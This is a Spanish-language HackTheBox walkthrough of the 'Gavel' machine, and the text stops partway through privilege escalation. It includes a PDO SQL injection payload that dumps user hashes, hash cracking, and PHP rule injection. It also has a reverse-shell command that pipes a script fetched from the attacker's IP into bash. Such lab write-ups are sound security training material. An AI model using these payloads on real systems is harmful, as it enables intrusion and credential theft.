This page looks best with JavaScript enabled

HackTheBox - Gavel

 •  ✍️ sckull

Gavel expone un repositorio en su sitio web, en este se identifico una vulnerabilidad SQLi y una funcionalidad que permite ejecutar codigo PHP. Se exploto la vulnerabilidad para obtener acceso al sitio que luego permitio ejecutar comandos para acceso inicial. Se cambio a un nuevo usuario con una contrasena conocida. Se escalaron privilegios con un ejecutable y la edicion de un archivo php.ini.

Nombre Gavel
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2025-11-29
IP 10.10.11.97
Maker

Shadow21A

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [96, 68, 341, 541, 908, 436, 259, 72, 18, 43],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sat Nov 29 14:40:44 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.110.12
Nmap scan report for 10.129.110.12
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 29 14:40:53 2025 -- 1 IP address (1 host up) scanned in 8.93 seconds

Web Site

curl muestra una redireccion al dominio gavel.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.129.110.12
HTTP/1.1 301 Moved Permanently
Date: Sat, 29 Nov 2025 20:41:18 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://gavel.htb/
Content-Type: text/html; charset=iso-8859-1

Los headers muestran un servidor Apache.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ curl -sI http://gavel.htb
HTTP/1.1 200 OK
Date: Sat, 29 Nov 2025 20:41:52 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: gavel_session=59enlq5e7o38n6usddamkm6opp; path=/; HttpOnly; SameSite=Strict
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

Se describe al sitio como una casa de subastas.

image

En Testimonies encontramos posibles nombres de usuarios.

image

Creamos un wordlist con estos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ curl -s http://gavel.htb/ | grep '<strong>' | cut -d '>' -f2 | cut -d '<' -f1 | uniq

Merlox the Mild
BidGazer99
ShadowMartha
RuneSniffer42
ElvenEarl77
WandWarrantyVoid
VialCollector69
ZedIsDead
BoneBidderX
GrantMeThis
OwlexaPrime
HalfPriceOgre
MagicalTrashbin

User Account

Registramos una cuenta en el sitio.

image

Encontramos tres items que estan en subasta, cada uno de estos esta activo por un tiempo especifico.

image

Directory Brute Forcing

feroxbuster muestra que existe un repositorio expuesto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
❯ feroxbuster -u http://gavel.htb/ -w $CM -x php
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://gavel.htb/
 🚩  In-Scope Url          │ gavel.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l        2w       23c http://gavel.htb/.git/HEAD
200      GET        1l       44w     2532c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.min.js
200      GET        7l       33w     1265c http://gavel.htb/assets/js/sb-admin-2.min.js
200      GET       84l      301w     4485c http://gavel.htb/register.php
200      GET       78l      213w     4281c http://gavel.htb/login.php
200      GET      222l     1044w    14070c http://gavel.htb/index.php
200      GET       58l      108w     1274c http://gavel.htb/assets/vendor/fontawesome-free/package.json
200      GET        3l       23w      187c http://gavel.htb/assets/vendor/fontawesome-free/attribution.js
200      GET       34l      237w     1548c http://gavel.htb/assets/vendor/fontawesome-free/LICENSE.txt
200      GET      102l      397w     3798c http://gavel.htb/assets/items.json
200      GET      365l     1202w   141649c http://gavel.htb/assets/img/library.jpg
200      GET        7l     1030w    84378c http://gavel.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET        5l       83w    59344c http://gavel.htb/assets/vendor/fontawesome-free/css/all.min.css
200      GET      166l      953w     4047c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.js
200      GET       59l      254w     1656c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.compatibility.js
200      GET      324l     2559w   196986c http://gavel.htb/assets/img/scroll.jpg
200      GET        2l     1294w    89501c http://gavel.htb/assets/vendor/jquery/jquery.min.js
200      GET    11299l    22157w   212581c http://gavel.htb/assets/css/sb-admin-2.css
200      GET      337l     2779w   199415c http://gavel.htb/assets/img/cloak.jpg
200      GET      268l      938w   145788c http://gavel.htb/assets/img/speed.jpg
200      GET        1l        7w   137960c http://gavel.htb/assets/vendor/jquery/jquery.min.map
200      GET      227l     1130w   149461c http://gavel.htb/assets/img/goblet.jpg
200      GET        1l        2w   110315c http://gavel.htb/assets/vendor/jquery/jquery.slim.min.map
200      GET      120l      382w    70041c http://gavel.htb/assets/img/robe.jpg
200      GET        2l     1059w    72372c http://gavel.htb/assets/vendor/jquery/jquery.slim.min.js
200      GET      679l     3782w   301740c http://gavel.htb/assets/img/favicon.ico
200      GET      307l     1324w   164612c http://gavel.htb/assets/img/quill.jpg
200      GET     8782l    36235w   235341c http://gavel.htb/assets/vendor/jquery/jquery.slim.js
200      GET      308l     1199w   128350c http://gavel.htb/assets/img/luck.jpg
200      GET      196l     1157w   164627c http://gavel.htb/assets/img/tax.jpg
200      GET    10881l    44400w   288580c http://gavel.htb/assets/vendor/jquery/jquery.js
200      GET      243l     1057w   158209c http://gavel.htb/assets/img/juice.jpg
302      GET        0l        0w        0c http://gavel.htb/admin.php => index.php
200      GET      418l     3176w   243625c http://gavel.htb/assets/img/NDA.jpg
200      GET      276l     1356w   153886c http://gavel.htb/assets/img/spoon.jpg
200      GET      266l     1319w   187333c http://gavel.htb/assets/img/certificate.jpg
200      GET      398l     1583w   182591c http://gavel.htb/assets/img/permit.jpg
200      GET      390l     1652w   191576c http://gavel.htb/assets/img/employment.jpg
200      GET      414l     3207w   260539c http://gavel.htb/assets/img/key.jpg
200      GET      278l     3024w   230643c http://gavel.htb/assets/img/helmet.jpg
200      GET      423l     1396w   179553c http://gavel.htb/assets/img/shard.jpg
200      GET     5229l    29085w  2344711c http://gavel.htb/assets/img/ring.jpg
200      GET      222l     1042w    14020c http://gavel.htb/
301      GET        9l       28w      307c http://gavel.htb/assets => http://gavel.htb/assets/
200      GET     4422l    25758w  1976010c http://gavel.htb/assets/img/welcome.png
200      GET     6403l    37336w  3281525c http://gavel.htb/assets/img/toe.jpg
301      GET        9l       28w      309c http://gavel.htb/includes => http://gavel.htb/includes/
302      GET        0l        0w        0c http://gavel.htb/inventory.php => index.php
302      GET        0l        0w        0c http://gavel.htb/logout.php => index.php
200      GET        0l        0w        0c http://gavel.htb/includes/auction.php
200      GET        0l        0w        0c http://gavel.htb/includes/config.php
200      GET        0l        0w        0c http://gavel.htb/includes/db.php
301      GET        9l       28w      306c http://gavel.htb/rules => http://gavel.htb/rules/
200      GET        0l        0w        0c http://gavel.htb/includes/session.php

Gavel Repository

Ejecutamos git-dumper el cual nos permitio obtener el repositorio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ git-dumper http://gavel.htb/ gavel_repo
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
[-] Fetching http://gavel.htb/.git/branches/ [200]
[-] Fetching http://gavel.htb/.git/HEAD [200]
[-] Fetching http://gavel.htb/.git/description [200]
[-] Fetching http://gavel.htb/.git/hooks/ [200]
[... cut ...]
[-] Fetching http://gavel.htb/.git/objects/fe/04870bc4fc146cd72f8f552cb5e83a43f1eaca [200]
[-] Fetching http://gavel.htb/.git/objects/fe/7978feee5d11c5aaf7bfa02602ef34130f2379 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 1849 paths from the index

git log muestra unicamente tres commits realizados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ git log
commit f67d90739a31d3f9ffcc3b9122652b500ff2a497 (HEAD -> master)
Author: sado <sado@gavel.htb>
Date:   Fri Oct 3 18:38:02 2025 +0000

    ..

commit 2bd167f52a35786a5a3e38a72c63005fffa14095
Author: sado <sado@gavel.htb>
Date:   Fri Oct 3 18:37:10 2025 +0000

    .

commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <sado@gavel.htb>
Date:   Sat Sep 20 13:12:15 2025 +0000

    gavel auction ready

El primero muestra el commit inicial.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ git show --name-only ff27a161f2dd87a0c597ba5638e3457ac167c416
commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <sado@gavel.htb>
Date:   Sat Sep 20 13:12:15 2025 +0000

    gavel auction ready

admin.php
assets/css/sb-admin-2.css
assets/img/NDA.jpg
assets/img/certificate.jpg
assets/img/cloak.jpg
[... cut ...]
assets/vendor/jquery/jquery.slim.min.map
bidding.php
includes/.htaccess
includes/auction.php
includes/auction_watcher.php
includes/bid_handler.php
includes/config.php
includes/db.php
includes/session.php
index.php
inventory.php
login.php
logout.php
register.php
rules/.htaccess
rules/default.yaml

Code Review

El codigo fuente muestra que la base de datos es MySQL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// db.php
<?php
require_once __DIR__ . '/config.php';
try {
    $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
    die("Database connection failed.");
}

Vemos una posible inyeccion SQL en inventory.php a traves del parametro sort.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// inventory.php
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}

Rules

Tambien, encontramos que existe un panel para usuarios con el rol auctioneer. Mediante este, es posible crear reglas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//admin.php
if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
    header('Location: index.php');
    exit;
}

// [... cut ...]

<div class="container-fluid pt-4">
    <h1 class="h3 text-gray-800 text-center"><i class="fa fa-lock"></i> Admin Panel</h1>
    <hr>
    <?php if (!empty($_SESSION['success'])): ?>
        <div class="alert alert-success text-center">Rule and message updated successfully!</div>
        <?php unset($_SESSION['success']); ?>
    <?php endif; ?>
    <?php if (!$current_auction): ?>
        <div class="alert alert-warning">No active auctions at the moment. Please check back later.</div>
    <?php else: ?>
        <div class="row">
            <?php foreach ($current_auction as $auction):
                $itemDetails = get_item_by_name($auction['item_name']);
                $remaining = strtotime($auction['ends_at']) - time();
                ?>
                <div class="col-md-4">
                    <div class="card shadow mb-4">
                        <div class="card-body text-center">
                            <img src="<?= ASSETS_URL ?>/img/<?= $itemDetails['image'] ?>" alt="" class="img-fluid mb-3" style="max-height: 200px;">
                            <h3 class="mb-1"><?= htmlspecialchars($itemDetails['name']) ?></h3>
                            <p class="mb-1"><?= htmlspecialchars($itemDetails['description']) ?></p>
                            <hr>
                            <form class="bidForm mt-4" method="POST">
                            <input type="hidden" name="auction_id" value="<?= $auction['id'] ?>">
                            <!-- p class="mb-1 text-justify"><strong>Rule:</strong> <code lang="php"><?= htmlspecialchars($auction['rule']) ?></code></p -->
                            <input type="text" class="form-control form-control-user" name="rule" placeholder="Edit rule">
                            <!-- <p class="mb-1 text-justify"><strong>Message:</strong> <?= htmlspecialchars($auction['message']) ?></p> -->
                            <input type="text" class="form-control form-control-user" name="message" placeholder="Edit message">
                            <p class="mb-1 text-justify"><strong>Time Remaining:</strong> <span class="timer" data-end="<?= strtotime($auction['ends_at']) ?>"><?= $remaining ?></span> seconds <i class="fas fa-clock"></i></p>
                            <button class="btn btn-dark btn-user btn-block" type="submit"><i class="fas fa-pencil-alt"></i> Edit</button>
                            </form>
                        </div>
                    </div>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>
</div>
</div>

Las reglas son utilizadas para las ofertas realizadas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# default.yaml
rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

Tambien, son utilizadas en bid_handler.php, donde se hace el uso de runkit_function_add(). Esta permite crear una nueva funcion. En este caso crea la funcion ruleCheck().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// ... cut ...
if (!isset($_SESSION['user'])) {
    echo json_encode(['success' => false, 'message' => 'You must be logged in.']);
    exit;
}

$auction_id = (int) ($_POST['auction_id'] ?? 0);
$bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$id = $_SESSION['user']['id'] ?? null;
$username = $_SESSION['user']['username'] ?? null;

// if pass

$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;

$rule = $auction['rule'];q
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

// ... cut ...

Un ejemplo para runkit_function_add muestra la ejecucion de codigo con los argumentos agregados tras su creacion.

1
2
3
4
5
6
7
8
<?php
create_function('testme','$a,$b','echo "The value of a is $a\n"; echo "The value of b is $b\n";');
testme(1,2);

/* output:
The value of a is 1
The value of b is 2
*/

En el caso de gavel se toma la regla de la subasta la cual es codigo php y los argumentos son: la oferta actual, previa y el usuario. Tras realizar una oferta al objeto en subasta se ejecuta la funcion y se devuelve al usuario un mensaje.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
//bid_handler.php
$rule         = 'return $current_bid >= $previous_bid * 1.1;';
$current_bid  = // $bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$previous_bid = // $auction['current_price'];
$bidder       = //$_SESSION['user']['username'] ?? null;
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

//
// ruleCheck($current_bid, $previous_bid, $bidder){
// return $current_bid >= $previous_bid * 1.1;
// }
// 

Lo anterior nos permitiria ejecutar codigo PHP para luego Comandos en la maquina, para ello es necesario obtener primero acceso con un usuario con el rol auctioneer.

SQL Injection

El post A Novel Technique for SQL Injection in PDO’s Prepared Statements muestra como explotar la vulnerabilidad de Inyeccion SQL para un ejemplo similar al de gavel. Basados en el post utilizamos un ‘payload’ que nos permite realizar la explotacion.

1
user_id=x` FROM (SELECT 1338 AS `'x`)y;#&sort=\?#--

Este muestra el valor 1338 especificado.

image

Obtuvimos usuarios y hash de contrasena de la tabla users.

1
user_id=x` FROM (SELECT concat(username,password) AS `'x` from users)y;#&sort=\?#--

image

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
PS C:\Users\sckull\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 3200 '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' rockyou.txt
hashcat (v7.1.2) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

# [... cut ...]

Host memory allocated for this attack: 545 MB (12005 MB free)

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1

# [... cut ...]
PS C:\Users\sckull\Documents\github\hashcat-7.1.2>

Admin Access

Las credenciales nos dan acceso al panel de administracion, vemos que podemos editar las reglas.

image

Code Execution

Editamos la regla de uno de los objetos en subasta.

image

Agregamos codigo para la ejecucion de curl.

1
system("curl 10.10.14.45");

Para ejecutar la regla anterior se realiza una oferta al objeto. Este muestra una solicitud curl a nuestra IP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
POST /includes/bid_handler.php HTTP/1.1
Host: gavel.htb
Content-Type: multipart/form-data; boundary=----geckoformboundary574841ba6f014a46de1c5a49944deb53
Cookie: gavel_session=ioiq6fugl6pvhjcklicaj1d6ti
Priority: u=0

------geckoformboundary574841ba6f014a46de1c5a49944deb53
Content-Disposition: form-data; name="auction_id"

323
------geckoformboundary574841ba6f014a46de1c5a49944deb53
Content-Disposition: form-data; name="bid_amount"

10000
------geckoformboundary574841ba6f014a46de1c5a49944deb53--


HTTP/1.1 200 OK
Date: Sat, 29 Nov 2025 23:49:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 657
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="nmap_scan">nmap_scan</a></li>
<li><a href="nmap_scan_udp">nmap_scan_udp</a></li>
<li><a href="users.txt">users.txt</a></li>
</ul>
<hr>
</body>
</html>
{"success":false,"message":"system"}

User - www-data

Editamos nuevamente la regla para la ejecucion de una shell inversa con shells.

1
system("curl 10.10.14.45:8000/10.10.14.45:1335|bash");

Logrando obtener acceso como www-data.

1
2
3
4
5
6
7
8
9
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.45] from gavel.htb [10.129.110.12] 43978
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/gavel/includes
$

User - Auctioneer

Observamos que existe el usuario auctioneer, utilizamos su misma contrasena para acceso a este usuario y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
$ su auctioneer
Password: midnight1
whoami;id
auctioneer
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
cd
ls
user.txt
cat user.txt
36645a74f0e0fdf12c7ee156ce84b68d

Privesc

En /opt/ encontramos el directorio gavel con un ejecutable gaveld y el archivo php.ini. Este ultimo indica open_basedir y disable_functions.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
auctioneer@gavel:/opt/gavel$ ls -lah
total 56K
drwxr-xr-x 4 root root 4.0K Nov  5 12:46 .
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 ..
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 .config
-rwxr-xr-- 1 root root  36K Oct  3 19:35 gaveld
-rw-r--r-- 1 root root  364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4.0K Nov  5 12:46 submission
auctioneer@gavel:/opt/gavel$ ls -lah .config
total 12K
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 .
drwxr-xr-x 4 root root 4.0K Nov  5 12:46 ..
drwxr-xr-x 2 root root 4.0K Nov  5 12:46 php
auctioneer@gavel:/opt/gavel$ ls -lah .config/php
total 12K
drwxr-xr-x 2 root root 4.0K Nov  5 12:46 .
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 ..
-rw-r--r-- 1 root root  502 Oct  3 19:35 php.ini
auctioneer@gavel:/opt/gavel$ cat .config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
auctioneer@gavel:/opt/gavel$

Nuestro usuario pertenece al grupo gavel-seller el cual tiene acceso a un ejecutable: gavel-util.

1
2
3
4
5
6
7
8
auctioneer@gavel:/opt/gavel$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
auctioneer@gavel:/opt/gavel$ find / -group gavel-seller 2>/dev/null | grep -v proc | grep -v sys
/run/gaveld.sock
/usr/local/bin/gavel-util
auctioneer@gavel:/opt/gavel$ file /usr/local/bin/gavel-util
/usr/local/bin/gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped
auctioneer@gavel:/opt/gavel$

strings indica que, posiblemente se comunica con /var/run/gaveld.sock.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
auctioneer@gavel:/opt/gavel$ strings /usr/local/bin/gavel-util
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
# [.. cut ...]
send hdrlen failed
send hdr failed
send content failed
submit
stat
not a regular file: %s
file too large
fopen
failed to read %s
/var/run/gaveld.sock
failed to connect to %s
filename
flags
content_length
[32m%s
stats
[31mNo response
invoice
[33mUsage: %s <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
[31msubmit requires file argument
[31mNo response from server
[31mNo response for invoice
/var/run/gaveld.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0
Scrt1.o
__abi_tag
gavel-util.c
collect_env
writen
send_header_and_content
readn
recv_response
connect_sock
# [.. cut ...]
auctioneer@gavel:/opt/gavel$

La ejecucion muestra stats e invoice, pero este ultimo no parece poder leer algun archivo log.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util stats
=================== GAVEL AUCTION DASHBOARD ===================

[Active Auctions]
ID   Item Name                      Current Bid   Ends In
332  Boots of Slight Speed          1966          01:04
333  Ethereal Tax Token             983           01:07
334  Potion of Eternal Wakefulness  1572          01:08

[Recently Ended Auctions]
ID   Item Name                      Final Price   Winner
331  Time-Traveling Spoon           724           None
330  Goblin-Signed NDA              1191          None
329  Goblet of Slight Insight       1659          None


auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util invoice
{"status":"err","msg":"Cannot open log"}
auctioneer@gavel:/opt/gavel$

En cuanto a submit tomamos el archivo sample.yml.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
auctioneer@gavel:/opt/gavel$ ls
gaveld	sample.yaml  submission
auctioneer@gavel:/opt/gavel$ cat sample.yaml
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
auctioneer@gavel:/opt/gavel$

Creamos un archivo solo con los valores bajo item.

1
2
3
4
5
6
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

Pasamos este archivo al ejecutable.

1
2
3
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Item submitted for review in next auction
auctioneer@gavel:/opt/gavel$ 

pspy muestra la ejecucion de la regla tomando el archivo de configuracion php.ini.

1
2
3
4
5
6
7
8
2025/11/30 00:35:08 CMD: UID=1001  PID=60506  | /usr/local/bin/gavel-util submit /dev/shm/file.yaml 
2025/11/30 00:35:08 CMD: UID=0     PID=60507  | /opt/gavel/gaveld 
2025/11/30 00:35:08 CMD: UID=0     PID=60508  | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';return ($current_bid >= $previous_bid * 1.2);};$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; } 
2025/11/30 00:35:09 CMD: UID=0     PID=60509  | 
2025/11/30 00:35:09 CMD: UID=0     PID=60510  | sudo -u www-data /usr/bin/php /var/www/html/gavel/includes/auction_watcher.php 
2025/11/30 00:35:09 CMD: UID=0     PID=60511  | /bin/bash /root/scripts/auction_watcher.sh 
2025/11/30 00:35:10 CMD: UID=0     PID=60512  | sudo -u www-data /usr/bin/php /var/www/html/gavel/includes/auction_watcher.php 
2025/11/30 00:35:10 CMD: UID=33    PID=60513  |

Al intentar ejecutar la funcion system() este nos muestra que esta desabilitada.

1
2
3
4
5
6
7
---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return system('whoami>/dev/shm/whoami.txt');"
1
2
3
4
5
